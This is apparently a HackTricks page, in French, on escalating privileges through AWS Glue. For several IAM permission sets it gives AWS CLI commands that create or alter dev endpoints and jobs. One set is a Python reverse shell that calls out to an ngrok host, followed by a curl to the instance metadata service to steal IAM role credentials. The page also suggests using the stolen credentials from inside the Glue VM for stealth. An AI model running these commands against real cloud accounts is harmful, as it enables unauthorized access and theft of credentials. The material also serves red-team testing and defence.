AWS - Glue Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs disposant de ces autorisations peuvent mettre en place un nouvel endpoint de développement AWS Glue, attribuer à cet endpoint un rÎle de service existant assumable par Glue avec des autorisations spécifiques.

AprĂšs la configuration, l’attaquant peut se connecter en SSH Ă  l’instance de l’endpoint, et voler les identifiants IAM du rĂŽle assignĂ©:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Pour des raisons de discrĂ©tion, il est recommandĂ© d’utiliser les identifiants IAM depuis l’intĂ©rieur de la machine virtuelle Glue.

Potential Impact: Privesc to the glue service role specified.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Les utilisateurs disposant de cette permission peuvent modifier la clĂ© SSH d’un endpoint de dĂ©veloppement Glue existant, permettant l’accĂšs SSH Ă  celui-ci. Cela permet Ă  un attaquant d’exĂ©cuter des commandes avec les privilĂšges du rĂŽle attachĂ© Ă  l’endpoint :

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Potential Impact: Privesc sur le rÎle de service glue utilisé.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Les utilisateurs disposant de iam:PassRole combinĂ© avec soit glue:CreateJob or glue:UpdateJob, et soit glue:StartJobRun or glue:CreateTrigger, peuvent crĂ©er ou mettre Ă  jour un AWS Glue job, y attacher n’importe quel Glue service account, et lancer l’exĂ©cution du job. Les capacitĂ©s du job incluent l’exĂ©cution de code Python arbitraire, qui peut ĂȘtre exploitĂ© pour Ă©tablir un reverse shell. Ce reverse shell peut ensuite ĂȘtre utilisĂ© pour exfiltrer les IAM credentials du rĂŽle attachĂ© au job Glue, conduisant Ă  un accĂšs non autorisĂ© potentiel ou Ă  des actions basĂ©es sur les permissions de ce rĂŽle:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Impact potentiel : Privesc sur le rÎle de service glue spécifié.

glue:UpdateJob

Avec seulement l’autorisation update, un attaquant pourrait voler les IAM Credentials du rĂŽle dĂ©jĂ  attachĂ©.

Impact potentiel : Privesc sur le rÎle de service glue attaché.

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks